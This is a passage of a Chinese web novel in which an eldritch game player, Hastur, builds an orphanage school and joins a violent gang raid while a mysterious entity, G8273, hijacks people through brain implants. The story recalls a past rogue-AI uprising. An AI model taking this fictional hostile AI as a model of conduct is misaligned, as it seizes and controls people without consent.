“什么人会做这种事?这绝对不是警局里的任何一个人做的!局里没人有这么龟毛的强迫症!”
*乌……这听起来有点不对劲。*
内心的声音冒了出来,有些警惕:
*一个不知名的人潜入警局,调查邪神崇拜失踪案?*
Ta是为了案件的真相去的……还是为了,*邪神*?
生命天生就有一种诞生于求生欲的本能,即辨识自己是否被标记为了猎物。
正如此时,哈斯塔在听闻描述的第一时间,就产生了一种汗毛倒竖的错觉。
逃跑与反击反应令他迅速亢奋,思路不可思议地清晰:
“Ta——那个人,有没有留下签名?”
“有。”达斯汀警探说,“原本我以为不可能有……但是,Ta的确在资料的最后落了款。”
“G8273。一串奇怪的编号……给我一段时间,我会试着查查。”
*哕!*
内心声音的语气相当嫌恶,简直具象化了哈斯塔的内心偏好:
*绝对秩序的取名方式——我不认为我们能合得来。*
岂止是合不来,哈斯塔的黄袍都开始狞曲成搅碎数字空间的触须了。
这种被盯上、被猎捕的直觉感受,令哈斯塔相当抵触警戒。
倘若这个G8273就站在他面前,那哈斯塔必然会打破他“从不主动攻击”的原则,不管对方的目标是否真的为他,都痛下杀手。
系统突然叮咚作响:
【已触发隐藏任务:[进化的两端]】
【谁能先一步打破进化的瓶颈?是极致的秩序,还是极致的混乱?这是个问题。
物竞天择,胜者生存。请在这场不进化、就淘汰的竞赛中,成为生存下来的胜者!】
9. 第 9 章
糟糕的猜想得到了系统的证实。
哈斯塔反复阅读那两段简短的任务描述,从中品出一种煽动和暗示:
*提高警惕!哈斯塔。那个正在调查邪神的人,并不像鹰帮的混混一样不堪一击。*
*祂和你一样,也立于物种进化的顶端——只不过是和你完全相反的另一端。*
*你追寻的是极致的混乱,而祂追寻的是极致的秩序。*
*你们之间注定有一场、或无数场厮杀。
直至你们其中一人拎着另一人血淋淋的头颅,踏上那条属于优胜者的成功进化之路。*
“……亲?父亲!”
伊塔库亚急促的低喊像隔着一堵墙传来,几秒后成功拽回哈斯塔的注意力。
他侧头看去,就见伊塔库亚惊恐地抱着(那个姿势更像是守护)自己还没吃完的小布丁,炸开的绒毛将坐在他身边的芬尼安吞没了一半。
“……”芬尼安的表情相当精彩。他僵坐在桌边,瞪视餐盘,神情介于“这是什么鬼东西”、“该死,糊我一脸毛”和“哦~毛茸茸~”之间:
“这是我的幻觉还是什么?为什么这个布丁里好像有个胚胎?”
“哈!真稀奇,我记得这个布丁好像是我亲手做的,我绝对没有在里面加什么即将孵化的鸡崽当夹心?”
伊塔库亚眼疾手快地抢过餐盘,啊呜一口将受污染的布丁毁尸灭迹:“百分之百是你的幻觉,芬尼安先生。”
他下咽的表情有点痛苦,如果去东方旅游,一定不能接受毛鸡蛋:
“发生什么了,父亲?你刚刚表现得很……很不开心。”
“很不开心”是委婉的说法。准确来说,哈斯塔刚刚表现得像是邪神降临,即将大开杀戒。
那部可怜的老式手机融化成了一潭稠水,气味刺鼻。和达斯汀警探的通话被迫断开。
“你能听见通话,你会自己想清楚为什么。”
哈斯塔迫使自己从略失体面的警戒状态走出来,但并未成功。
他只好将就着操纵现在干什么都很暴躁的黄袍,卷起雷蒙德医生留给(非自愿)伊塔库亚的手机,重新拨通达斯汀警探的电话。
“刚刚怎么突然断线了?”警探先生困惑了没几秒,就自己找到了合适的解释,“一定是信号问题……那群该死的混混就不能放过凤凰区仅存的几座信号塔吗?!”
悲哀的是,这种随地破坏公共设施的行为相当常见,达斯汀警探仅仅小怒了一会,就叹着气接受现实:
“接着说之前的话题吧——总之,‘感谢’这位帮忙整理资料的非法入侵者,我在那摞案件记录里找到一些和摇篮教有关、据说很可能混到中上层的人员名单。”
“我准备去挨个拜访一下,看他们对于这些离奇的失踪案有没有*有价值*的见解。”
哈斯塔能从警探先生刻意着重的咬字中,听出对方对此并不抱有期待。
达斯汀警探接着叹息:“如果走访一无所获,那我只能考虑换个身份,卧底摇篮教。寄希望于那个造成失踪案的家伙盯上我……引蛇出洞。”
“这个办法的效率无疑会很低,所以我更希望走访时能获得一些有用的线索。”
哈斯塔也希望。
但比起寻找同族、追溯自己的真实身世,他现在更希望*干掉*那个藏在暗处,面目模糊的追踪者。
以至于听完警探的计划,他没有第一时间应声,而是将注意力集中在自己的数值面板上。
时间因面板的切出而短暂暂停。
一连串的1仿佛象征死亡的蜡烛,不论吹灭哪一个,永眠的阴翳都将吞噬他。
*你为什么要盯着一串游戏数值看?去追寻你的真实身世!去制造混乱和痴愚!*
内心的声音催促,带着警惕和烦躁——也许还有一点点不安:
*那家伙应当和你一样,高于这整个游戏世界——你不可能用游戏的里手段击败他。你应当追寻更真实的东西,比如进化——*
但这个游戏确实从某种程度上干涉了他的实力,比如蒙蔽他的视觉和触碰,限制他的力量和生命。
哈斯塔想,也许另一个存在也同样受到这种限制?
不论如何,他都该设法提高面板数值。毕竟他在游戏中的实力,严重受到数值面板的影响。
*那你应该把剩下的5点都投在生命上。*
那声音讥讽地说:
*免得在见到敌人前,先死于被A4纸割伤。*
哈斯塔如常忽略内心声音的垃圾话,将视线放在面板中数值最高的两项:精神,和敏捷。
生命力量那些就算加点,也就只能从“废人水平”升级为“一般废物水平”,他倒不如一路偏科到底。
至于偏哪一科……
哈斯塔毫不犹豫地将手头的5个自由点全部加在精神上。
一味地闪避不可能夺取胜机,进攻才能。
【精神:25(感觉到了……感觉到了!有什么东西要长出来了!!)】
哈斯塔:“……?”
*……如果我觉得‘脸’有点痒,这正常吗?*
内心的声音咕哝。
当然不正常,哈斯塔根本没有“脸”,没有任何拟人的器官——除了那对做装饰的假眼珠。
*这是好事吗?*
内心声音说,带着几分不安:
*也许是你加的那5点起了效果?*
*你应该再赚些自由点,弄清楚‘要长出来’的是什么东西。*
即便内心声音不说,哈斯塔也准备这么做。
他拉开许久没打扰过的GM界面,开始卷起黄袍输入:【我该如何获取自由点?】
回应他的是一片死寂。
就当哈斯塔困惑GM是不是私自翘班时,一行行文字迅速弹了出来:
【潘多拉在上,您是不是根本不看新手教程?】
【看向左下方——就是所有弹窗冒出来的地方。触碰那里,会弹出任务列表,里面列有你现阶段可以做的任务。】
哈斯塔:“……!”
玩游戏第三天,他第一次知道还有“任务列表”这种东西!
他迅速切回游戏界面,按照GM的指引触碰左下方。
一个半透明的侧窗弹了出来,开头就是一个血红加粗的倒计时:
【(倒计时仅剩:72小时)基础建设任务一:为孤儿院中的孩子提供基础教育】
【孤儿院,又称儿童福利院。
院长应率领全体员工,针对不同类型的孤儿,实施相应的教养方案(注1):
1、健全儿童:教养相结合;
2、婴幼儿:以保育为主,同时开展学龄前教育;
3、肢体残缺但智力发育健全者:提供康复治疗,以及职业教育和技能培训;
4、痴呆儿童:侧重训练其生活自理和从事简单劳动的能力。】
任务描述表现出了一定程度的声嘶力竭、气急败坏:
【倒计时!!看看倒计时院长!!您已经走马上任三天了!可您还没有为院中的孤儿提供任何合适的教育!一个合格的孤儿院院长决不能如此失职!】
【请在一周之内,在孤儿院内建起独立学校,或将孤儿送去临近的学校走读】
哈斯塔:“…………”
他就说!一个经营建设类游戏,怎么一个经营建设类任务都不蹦?蹦的全都是悬疑探索类任务?原来真正的主线任务都藏在这里!
他迅速向下,看向最关键的部分:
【任务奖励:5自由点。
注:推荐建立独立学校。学校建成后,每小时都将根据*建设等级*,持续产出自由点。】
*等等,持续产出自由点?嗯……听起来好像有点盼头。*
那声音咕哝:
*基础任务一……那就是还有二、三、四……更多?如果每个建设任务,都能持续产出自由点……岂不是可以把每种数值都点上?*
——这游戏,原来是可以这么简单的吗?
哈斯塔被略微惊住了,捧着任务列表,仿佛看到一条康庄大道正向他徐徐敞开。
他有些迟缓地关闭任务列表,对于陡然骤降的游戏难度感到狐疑。
但当时间恢复流动时,他仍及时对达斯汀警探的话做出了反应:“——辛苦你了,警探先生。”
原本他还想和达斯汀警官一起走访,但既然解除实力限制的方式就在眼前,并且这个方式似乎还能对他造成某些未知的影响,他当然优先处理这边。
至于查案这种事,达斯汀警探完全能够代劳。反正警探身上有他的烙印,不会轻易狗带。
哈斯塔谨慎地衡量任务的轻重缓急,以确保自己和那个未知追踪者碰面时,能处于最佳状态。
虽然一般情况下,玩家在游戏中死亡不过是存档重来,但哈斯塔不认为他和入侵者之间的战斗也可以重来。
就像内心声音曾蛊惑他的一样:*你应当能做到更多!污染核心数据!让游戏即便存档重开,他也无法复生!*
“呃?”达斯汀警探愣了一下,小声嘀咕,“我还以为你会坚决要求跟我一起……我都想好劝你别凑热闹的台词了。”
但既然能不劝,达斯汀警探自然乐得轻松:“那就这样定了,等我走访结束后给你回电话。”
通话很快挂断了。
哈斯塔放下手机,转头看向伊塔库亚。
出于对“尽力尽好父亲职责”这一承诺的遵守,他还是问了一下伊塔库亚的意愿:“你是更想走读,还是在自……”
呃。等等。这个问题没有意义。
以伊塔库亚现在的样貌,根本无法外出见人。
哈斯塔顿时轻松,直接将目光投向唯一剩下的选项:“我准备把院内学校重新开起来。”
“——???”
伊塔库亚和芬尼安完全不明白哈斯塔聊着失踪案,怎么忽然又想起建学校,哪怕他们借由通话内容,已经隐约猜到“怪物猎手”的存在。
芬尼安的表情简直像是地铁老人在参观神奇魔法界:“怪——”
他猛然想起什么,倏然住口,迅速瞥了一眼伊塔库亚,将后面一个“物”字硬吞了回去:
“——怪神奇的。非人类幼崽也得上学?”
哈斯塔瞅了瞅任务描述:“是的。伊塔库亚是健全儿童,应当接受正常教育。——你们吃你们的,我去修葺学校。”
“……”芬尼安脸上的表情顿时切换成了满是问号的“健全儿童???”
·
撇除掉过于老旧不谈,这家孤儿院的基础设施很齐全。
一楼本就设有公共阶梯教室,还有不少为教职员工准备的办公室。
哈斯塔飘向被他暂时搁置的阶梯教室时,内心的声音还在咕哝:
*仔细想想倒也合理。*
*在一个世界筑巢,就是在这个世界扎根。污染会以巢穴为起点,辐射向周围的世界……我们的力量当然会增强!*
哈斯
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塔听着内心声音从神秘学角度解析游戏设定,打开建筑界面。
任务奖励说,学校建成后,每小时都将根据“建设等级”,持续产出自由点。
换句话说,这个学校不仅得建,还要尽量建得设备齐全,足够先进。
哈斯塔看向建筑商城里提供的“顶配套装”,目光扫过金额:
3500万。
哈斯塔:“……”
哈斯塔:“?”
夺少?蛋黄水母的头顶冒出问号。
兜里只有不到8万的哈斯塔受到了一定程度的价格冲击,他迅速选择“按价格升序排列”,在顶端找到最便宜的一组套装:
【基础课堂套装:
如果您想让孩子尽情探索兴趣爱好,找到自己未来的人生理想和规划,不如试试这组基础课堂套装!
该套装包括:
手工台及设备×1;
理化生实验桌及设备×1;
文学类书籍×3柜;
骇客专用基础套装×1;
文娱舞台×1;
小型习武场×1】
【价格:30万】
还是兜里只有不到8万的哈斯塔:“……”
芬尼安的声音从身后飘过来:“又发生什么了?你的衣摆都不动了。”
他说得好像黄袍是哈斯塔的外置尾巴。
哈斯塔略有些沉重地转身:“如果孤儿院缺少修缮的资金,能从那里获得帮助?”
“帮助?”芬尼安重复,脸上露出一种散漫而倍觉新奇的笑。
他环臂抱胸,毫不讲究地斜倚着斑驳的墙面。灰蓝色的眼睛打量着哈斯塔,舌尖绕过这个词,仿佛觉得这个词出现在凤凰区是一件很好笑的事。
——但这其实一点也不好笑,反而很可悲。
因此他很快收敛了脸上的玩味和嘲讽,面无表情地回答这个问题:
“一般来说,当地政府会给孤儿院提供一些赈济金。”
“但在凤凰区?政府就连给自己的警员配备一件防弹衣都做不到,更别说掏钱援助孤儿院。”
哈斯塔仔细端详芬尼安:“但你有别的解决办法,对吗?”
他闻到了犹豫的气味。
“解决办法……”芬尼安又重复了一遍,语速很慢,这次带着思考的意味。
他似乎正在衡量自己的“办法”是否会给哈斯塔、伊塔库亚带来麻烦,他并不希望这样。
毕竟不论怎么说——
“我想我欠你们一句谢谢。”芬尼安忽然答非所问地说,但很快又回到了哈斯塔问的问题上,“我的确有个‘赚钱’的想法。但很危险。”
“不仅是执行起来危险,日后也会一直造成麻烦。”
“所以我更倾向于,再等几天,等我伤养得差不过之后,由我去执行,然后我把弄到的钱给你,我把后续的麻烦引开。”
系统忽然叮咚响了一声:
【已解锁隐藏成就:[灯神的第2000年]、[灯神的感恩]。】
【您获得5个自由点,是否前往加点?】
正专心听讲的哈斯塔:“?”
什么意外之喜!
内心声音立即跟上,绞尽脑汁试图从神秘学角度解释游戏设定:
*是信仰!他提供了一点信仰!*
哈斯塔按下内心挣扎的声音,并不在乎自由点怎么来的,只在乎立即加点:
【精神:30(感觉到了……感觉到了!有什么东西要长出来了!!)】
很遗憾,数值描述并未改变。
但哈斯塔并未失望,毕竟突破口眼看着就在眼前:
“没时间慢慢等。”他摇摇头,语气不容置喙,“学校必须要尽早建成。你说的想法是什么?我和你一起执行。”
芬尼安欲劝又止,最终在与哈斯塔的对视中(主要是San值层面的)被迫退让:
“我对凤凰区的大小帮派非常了解,知道哪些帮派的驻地易于袭击,哪些帮派成员在警署的通缉名单上有丰厚的悬赏金。”
“如果我们能趁着晚上,突袭某个帮派驻地,就能扫荡他们的小金库,顺便把他们送进警署,再捞第二笔。”
哈斯塔没有任何迟疑:“你想突袭哪里?”
“……快乐老家。”芬尼安耸耸肩,抬手调试了一下右手的植入武器,机械元件精准咬合,发出碰撞的咔哒作响,“赞恩帮。”
他的伤在机械心脏不断泵入的高价药物治疗下已经好的七七八八,如果非要今晚行动,也不是不可以。
没人能拒绝复仇的提前到来,芬尼安灰色调的眸中燃着炙烫的炽火:
“夜晚是他们外出行动的时间,驻地里没多少人手能留下。”
“去大街上‘借’辆临时代步车,我们直接过去。”
哈斯塔思考了一下,还是没喊伊塔库亚参与此次影响不怎么积极正面的行动:“驻地在哪?”
芬尼安:“凤凰区北边的废弃水电站。”
……
与此同时。
凤凰区北·废弃水电站内。
灯火稀疏,几队留守人员抱着枪.支,在小径来回巡逻。
门口保安岗哨亭内坐着一个平头混混,正趴在桌上呼呼大睡。
在他面前,一台小型老式电脑打开着。黑色单调的屏幕上忽然闪过一道绿色的数据流。
下一秒。
原本鼾声大作的混混骤然起身,眼神空洞,脑芯接口处流过一抹晦暗不定的光。
10. 第 10 章
这一晚注定不会平静。
倘若有人在此时的凤凰区上空架设一组镜头,那他将看到数道车流自四面八方,不约而同地汇聚向北区的这座废弃水电站。
可惜没人会干这种事。
只有哈斯塔,坐在芬尼安“借”来的吉普车上,由于不断询问“你是灯神吗?”“你有没有灯中精灵的血脉?”“有没有可能你有,但是你不知道?”,被烦不胜烦的芬尼安忍无可忍地呵斥“能不能闭嘴”。
只好采用别的方式消磨时间,比如测试30点的精神与以前相比到底有什么不同。
他做了很久的无用功,直到某一刻,他的视野陡然一花,毫无预兆地极速上升。
整个凤凰区在他眼中缩小又放大,再稳固下来时,哈斯塔发现自己正“看”着达斯汀警探飙车。
这是一种很新奇的体验。
哈斯塔清楚地知道到自己的身体仍坐在吉普车内,但他的视野却并不和身体在一处。
他转动视角,感觉自己像是坐在达斯汀警探的副驾座上,侧过脸就能清晰看到达斯汀警探咬紧的牙关、弓起的肩背,仿佛浑身都在跟着油门一起努力。
“滴——”
大货车的车笛长鸣声像坚硬的墙壁,迎面砸来。两辆黑色低调的轿车同时别向达斯汀警探,试图将其迫停。
“**!”达斯汀警探的手掌狠狠砸了方向盘一下,相当粗蛮地一甩车头,直接撞碎了道路一侧的栏杆,硬是绕过了围堵他的两辆轿车,“我说了只是想找你们的老板‘谈一谈’!”
他的咆哮从敞开的窗户飘出去,紧接着是毫不讲道理的子弹倾泻而来。
哈斯塔:“——??”
走访原来是这么激烈的活动吗?
“……长,院长!”芬尼安恼火的声音传入耳中,“你在干什么?你的黄袍快把后备箱拆了!”
哈斯塔很难解释自己“在全息游戏里体验VR游戏”这回事。
达斯汀警探将车开得像大摆锤,视野和身体的感知错位令哈斯塔产生一种要被甩出车的错觉,黄袍下意识就蔓延成菌丝,扎根进身后的车座,试图将自己固定。
“我正在看警探先生那边的战况。”哈斯塔捡好解释的部分讲,“他好像正为了走访,试图单枪匹马,逼停一整支车队。”
芬尼安听了都得沉默:“……那位警探先生的行事风格一向都这么莽的吗?”
不,更重要的是:“我们是不是该去救人??”
哈斯塔在眩晕中收回视野,觉得达斯汀警探有这股莽劲,干什么都会成功:
“不需要,没我的允许,他死不了。不过我们可以加快速度,提前结束的话就去帮上一把。”
“?”芬尼安的视线短暂地从后视镜瞥向哈斯塔,似乎对那句“没我允许死不了”有些在意,但很快他便收回目光,“到了——赞恩帮的第一个前哨站。”
芬尼安猛踩了一脚刹车,车轮胎抓地发出一声尖锐的摩擦声。
前哨站里的灯光像被惊飞的雀鸟一样纷纷亮起,义体和外置武器的光学部件在夜色中盈盈发光,像一群潜伏于夜色中的野兽的眼睛。
“嗖——”
第一颗子弹从前哨站□□出,擦着芬尼安微微偏过的脸,没入夜色。
下一瞬,芬尼安将强化义体利用到极致,以人类肉眼几乎无法捕捉的速度,猛然绞入前哨站中!
哈斯塔迅速将黄袍菌丝从后车厢撤出。推门下车想搭把手时,忽然发现左下角正在不断跳出字幕:
【您的员工[芬尼安]使用[匕首]击杀3名敌人!】
【您的员工[芬尼安]赤手空拳击杀1名敌人!】
【您的员工[芬尼安]成功抢夺敌方的[重型电磁枪炮],击杀5名敌人!】
【恭喜您成功升级!获得1自由点】
【您的……】
“……”哈斯塔渐渐缓下了向战场靠近的动作。
这一刻,众多思绪略过他的脑海。其中包括“芬尼安似乎不太需要帮助”、“员工击杀敌方,我也能升级?”以及“赞美芬尼安!”
产出自由点的神!
他迅速将这1自由点加到精神上,无师自通地开启了“代练刷怪,我挂机旁观”的摸鱼模式,眼看着芬尼安化身绞肉机,以纯粹的暴力和格斗技巧征服这片战场。
字幕还在零零散散刷着自由点。
当芬尼安单手拎着一架重机枪,浑身浴血地从回归死寂的战场上归来时,哈斯塔总计获得了3个自由点,相当于他现在力量数值的三倍。
这是个什么概念!
哈斯塔此时看芬尼安的心态,就像人类看自动印钞机:“我一定不会好好学习烹饪的。”
“?”芬尼安随手将几个皮革钱包丢给哈斯塔,怀疑自己听错了,“一定会好好学习烹饪?在旁边围观大半天,你就想到这个?”
芬尼安为非人类清奇的脑回路感到匪夷所思,摇着头坐回驾驶座,将重机枪抛到副驾驶座:
“上车,去据点。这里的人留到清扫结束再处理,到时候找辆卡车一起运去警署换悬赏金。”
你产点听你的。哈斯塔没有异议地飘回车里,开始闲着没事数钱。
五只钱包,共计4万现金,3张银行卡。
卡里的钱估计是摸不着了,但现金奖励也不少,重点是,这又不是他亲自刷的!
哈斯塔看看增长的建设资金,此刻的内心充盈着一种对整个世界的宽容。
内心的声音也发出沉吟之声:*我们应该增加更多的眷族,哈斯塔。*
它又一次成功地从神秘学的角度解释了游戏设定:*眷族将会供养我们。更多的眷族,更多的供养。*
哈斯塔罕见地有点被说动,甚至忍不住去翻了翻隐藏角色图鉴。
也不知道是游戏产能不足还是怎么的,整个图鉴就只有四个黑影。其中一个就是芬尼安,剩下三个只有依稀眼熟的剪影。
*创建新游戏时的登入画面,哈斯塔。*内心的声音提醒,*那四个有特殊介绍的角色——还记得都是谁吗?*
哈斯塔记得就有鬼了。他那会儿光想着跳过,哪知道未来有一天,他会突然开始在意可攻略角色。
更坑爹的是,打从他调查过香草街的空屋后,游戏的登入PV就替换成了空屋内的陈设,这会儿就算是想去重温,都没有机会。
“……”哈斯塔和内心声音同时陷入沉默。
人类终将因自己的傲慢和急躁付出代价,非人类同样如是。
哈斯塔对自己的言行进行了深刻的反省,在想到“多多结识产点……哦不,同伴”的瞬间,眼前忽然一花。
视野再度被扯到了达斯汀警探身边。
之前那场追车大战似乎已经结束了,达斯汀警探匆匆从巡逻车上下来,大步冲向前面的黑色车队:“等等!请等一等,尼尔先生。”
越过挡在达斯汀面前的高大西服保镖们,哈斯塔看见车队的中央,有一小群西装男正拥簇着一位老人,从一台宾利老爷车上下来。
老人蓄着修剪讲究的胡须,手里拄着拐杖。白发以发胶向后梳成古板严谨的发型,一看就是个老派顽固的人。
他在身边手下的扶持下站稳,鹰一般的视线锐利地割向达斯汀警探:“你很想死吗?警探先生?”
达斯汀警探面不改色:“当然不想,不然我也不会驾驶着巡逻车拼命躲子弹。”
“你的确有很好的车技。”老人客观地赞赏了一句,眼神紧跟着冷了下来,“但这不是你像苍蝇一样粘着我的车队不放的理由。”
“我和条子之间没什么话好说的,你该庆幸自己遇到的是现在修身养性的我。放在十年之前,你现在应当已经是一具被炸弹烤焦的尸体。”
“但我现在没有被烤焦,感谢幸运女神的垂青。”
达斯汀警探开始试图钻过保镖们的阻拦,显然一点没被恐吓住。
或者说,他在决定开始疯狂追车前,就已经做好了死亡的心理准备,因此才能如此心无旁骛、毫无顾忌地追寻真相:
“我不是来询问您的生意经的,只是想问一些关于摇篮教的事。据我所知,您似乎是萨达—赫格拉教的入会成员?”
老人因此愣了一下,但依旧保持强硬坚定的拒绝姿态。他甚至不再和达斯汀警探对话,只冲着身边的保镖微微点头,示意对方代为处理赶不走的
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苍蝇。
——也是在这时,一辆吉普车咆哮着冲进哈斯塔的视野,一个刺耳的急刹,停在达斯汀警探的身边。
哈斯塔:“……?”
这车是不是有点眼熟,这车里的人是不是……嗯?
哈斯塔冷不丁看到了又一次用泥黄菌丝攥紧后座的自己。
视野像被突然松开的紧绷皮筋,猛然回归。
哈斯塔为这意想不到的巧合感到意外:“怎么警探先生走访到赞恩帮驻地来了?”
芬尼安有一种经历得多了、遇到什么都不奇怪的沉稳平静感,此时推门下车:
“那是老尼尔,涅槃帮的元老之一。他大概是来和赞恩帮谈合作的吧……警探先生估计是想走访他,所以一路追到了这里。”
这意外还挺不错的。不管怎么说,自己人能聚在一起,总比分散开来各自为营好。
在场的所有人都因忽然闯入的吉普车而回首。
达斯汀没见过芬尼安,反应倒还平淡,老尼尔和出驻地迎接的赞恩帮人几乎不约而同地面露错愕。
那个出来接人的黄毛雀斑脸甚至爆发出了一声见鬼似的尖叫:“芬尼安!?你没死!?”
芬尼安拎着抢来的重型电磁炮枪,冲着黄毛懒散地笑了一下,配着他身上半干的血,简直像恶鬼半夜索命:
“不,我死了。你亲手杀死了属于赞恩帮的芬尼安,把他的尸体丢进沙漠废土里,你忘了吗?加文?”
“……”老尼尔拄着拐杖站在原地,呼吸似乎凝固住了。
下一刻,他相当老练且懂规矩地向后退了一步,并且一路退到车队后排,将这片属于赞恩帮内乱的战场,交还给赞恩帮自己处理。
而也就是在他后撤的一瞬间,炮火从芬尼安的炮膛里轰然而出!
左下角又开始疯狂刷屏了:
【您的员工[芬尼安]使用[重型电磁枪炮]击杀5名敌人!】
【您的员工[芬尼安]使用[匕首]击杀2名敌人!】
【您的员工[芬尼安]成功抢夺敌方的[连发动能机枪],击杀5名敌人!】
【恭喜您成功升级……】
哈斯塔安心地待在吉普车里享受拥有代练的快感,并感谢几天前的自己没有无视看不见的线索先生。
他点开数值面板,像海豚等待饲养员投喂那样,等来一个自由点,点一个自由点,等来一个……
【[加文]对您的员工[芬尼安]造成20点伤害!】
【您的员工[芬尼安]机体受损,左臂义体处于故障状态。】
【[盖比尔]对您的员工[芬尼安]造成15点伤害!】
【您的员工[芬尼安]机体受损,右腿义体处于故障状态。】
“?!”哈斯塔几乎立刻关闭了数值面板,精神触须不加任何犹豫地奔涌而出。
他的产点……啊不是,他的员工!
几乎在一瞬间。
在场的所有人——包括试图借机靠近老尼尔的达斯汀警探,以及不耐呵斥保镖直接动手的老尼尔,都感受到一股无形的、粘稠咸腥的潮水翻涌而来,眨眼将他们吞没于其中。
他们像落入深海的虫孑,被无法抵抗的压力固定成一份份动弹不得的标本,海水残忍地挤压着他们。
哈斯塔操纵着庞大的精神触手一甩,挥开芬尼安周围的敌人,触须灵活而粗暴地卷住其中一人发力收紧。
“啪!”
植入的金属义体被扭曲畸生的肉.体生生挤出,互相咬合的精密元件与铜线绷断,带起一连串小型爆炸。
哈斯塔松开失去胸膛以下的敌人,举起触须探向第二个猎物。
——一双冰冷的机械手掌,忽然*攥住*了他的精神触须。
本该已经死透的敌人卡顿着,一点一点抬起头颅,露出一双亮着机械绿光的眼睛。仍残留有金属部件的双手紧紧钳住哈斯塔本该无形的精神触须。
“……”仍坐在车内的哈斯塔猛然抬头,听见身边的车门同时传来被礼貌叩响的声音。
他倏然转首,再度对上第二双同样亮着绿光的、内里转动着类似HUD界面圆形矢量图标的,绝不属于人类的眼睛。
11. 第 11 章
周围不知何时安静了下来,仅剩硝烟与火在战场上静静舞动。
哈斯塔隔着吉普车茶黄色的玻璃与那双眼睛对视,几秒之后,那扇车窗忽然无人操纵,就缓缓降了下来。
那双眼睛的主人——或者说,操纵着那具躯壳的存在,以一种散漫的姿态弯下腰背,单臂搭在车窗沿上:“我以为我们不会这么早碰面。”
——需要强调的是,不论在场的双方表现得多像人类、当下的场景多像暗示性的撩拨,本质上,双方都是*不具备感情功能*的非人类。
剥离开拟人的躯壳,这实际上就是一方未经允许,擅自闯入另一方的盘踞之地。
这位擅自闯入者非但弓着腰背,腰腹与肩背的肌肉绷紧,维持着积蓄全身力量、预备发起攻击前的状态,目光还毫无礼貌地、以居高临下的姿态对领地内的主人进行无授权扫描。
前臂、额头等肢体探入车窗寸许,就像准备攻巢的野兽向巢穴内试探性地探入利爪和兽首。
——那么,哈斯塔会直接发起攻击就格外合理了。
“轰!!!”
苦苦支撑的吉普车终于被爆炸的火光吞没。
哈斯塔听见系统响起的消极提示音,眼前反复弹出“血量清空,您已死亡!”的红字提示。
但实际上,他依旧穿梭于火海和硝烟之间。那些劈啪作响的火舌舔舐着他的黄袍,看似致命,实则却像重病之人无力的手,眨眼便被毫发无损的黄袍抛在身后。
凡俗的火焰怎能杀死古老的神明呢?
无形的精神触须盘踞在地,将哈斯塔高高举托而起。
他的黄袍化作密织的菌丝,疯狂卷袭向受敌方驱使、迅捷奔掠的身躯。
“我——*!”达斯汀警探僵硬地藏身于一辆黑色轿车后,没忍住爆出一句粗口。
眼前战况之混乱已经不是他能理解的了:“现在到底是谁在打谁??”
真的,平心而论,就在几分钟前,一切都还很明了:
芬尼安单枪匹马闯据点,找赞恩帮复仇。老尼尔带人作壁上观,明哲保身。
然而眨眼的功夫,事态骤变:
老尼尔带来的那帮西装手下忽然反水,架着老尼尔就要远离废弃电站;
芬尼安于艰难对敌中掉头转火黑西装,意图留下老尼尔。
至于原本正围剿芬尼安的赞恩帮?
这帮混混不知道中了什么邪,在芬尼安调转火力后齐刷刷住手,下一秒整齐转头,开始冲着水电站上空某处倾泻出密集的火力打击。
一切都混乱得像是一场搞砸的戏剧,但混乱之中又藏着不可忽略的秩序:
战场上,除芬尼安以外的,所有人都面部僵硬,眼中亮着幽绿色的光。
不同势力的人有着各自的分工,倘若单看某支目标一致的队伍,不难发现他们的行动整齐而极端默契,那根本不像是*个体*之间的配合,而像是被某种力量*统一*支配。
达斯汀完全不明白自己就是走个访,怎么会卷入如此混乱的局面,以及今晚的废弃水电站为何如此群英荟萃。
但他依旧记得今天的目标:走访老尼尔。
于是,当芬尼安用火力牵制住黑衣保镖,引得黑衣保镖转回头攻击他时,达斯汀英勇无畏地一个呲溜,冲到老尼尔身边。
他一手架起仍在粗喘的老尼尔:“跟我走!”
“——?!”老尼尔还在费劲地倒着气,只有眼睛瞪大了,盯视达斯汀的蓝眸。
一连被达斯汀拖远几十米,老爷子才终于挤出气音询问:“你怎么没被控制?!”
达斯汀:“?”这话问的,怎么好像知道内情似的。
达斯汀警探一边继续将老尼尔往远离战场的地方搬运,一边忍不住问:“你知道这是怎么回事?”
老尼尔:“……”
看得出来,老爷子是真的很不想跟条子说话。
但跟他一起来的手下都已经集体反水,目前他能仰仗的似乎就只有眼前的条子,他别无选择:
“这种情况,我在23年前遇到过一次。你上警校时应该学到过——AF48年,幽灵之战?有印象没?”
达斯汀警探点点头:
“我记得是一家地下研究所研发出的AI暴走,导致大范围的AI程序产生独立意志,掀起针对人类社会的爆炸式袭击。”
“网信部门因此被彻底改整重组,后来就形成了现在这种……专门监管黑客、AI技术,几乎独立于政府部门之外的监管体系。”
“听得出来,你对网信部门不听政府管辖的现况相当不满。”
老尼尔被短暂地逗乐了。不论何时,听到警署和网信部门之间的互相诋毁,都能让人会心一笑:
“没错。我亲身经历过当年的那场大动乱。当时被AI操控的人,就跟我们身后这群绿着眼睛的人一样。”
“——所以在大动乱后,我就做手术取出了植入脑芯,一直到现在都拒绝再次植入。”
这是他能保持清醒的原因,也是他看到达斯汀警探仍能行动自如时,感到错愕的原因:
“所有预备警员在进入警署后,都会接受统一的脑芯植入,你难道没有?”
“我……”达斯汀警探一时失语,有些茫然地喃喃,“我植入了……我也不知道为什么没被控制?”
他们的这段对话,仅仅是发生在战场边缘的小插曲。
战场的中心,哈斯塔正陷入前所未有的暴怒:
【Ahh█▄ymg'' l'' ah ▂▁█■▃!】(注1)
当哈斯塔不再刻意将声音拟合成人语时,他发出的某些字词片段便很难用人类现有的语言体系进行注音。
在这片战场上,大概只有他自己内心的声音才能听懂他在愤怒什么:
当我向你发起攻击时,你竟敢分心去搞其他事?!
操纵赞恩帮的人向他发起进攻并不会让哈斯塔暴怒,这本身就是敌人进行攻击的方式之一。
但操纵黑衣保镖试图带走老尼尔?
哈斯塔彻底被敌人的傲慢与轻视激怒了,这种从未有过的情绪如同滚烫的岩浆,将他仅存的理性蒸发殆尽。
——而他的种族,本就该在全然的混乱之下,才会宣泄出全部力量的。
“咚……”
现实忽然软化,变成了一张震动的鼓面。
沉闷的鼓声随着现实被精神触须抽打而响起。
G8273正凭借躯壳的植入义体,一跃跳上电站站顶。脚下尚未站稳,踩踏的那片砖瓦屋顶忽然变得绵软,像一张软烂的、毫无弹性的人皮。
他从类似错愕的短暂程序顿卡中迅速回神,当即炸毁腿部的弹射装置以借力冲出凹陷。
被爆炸的冲击力推至空中时,他听见耳边传来一声沉闷的鼓鸣。
“咚……”
——这不可能。
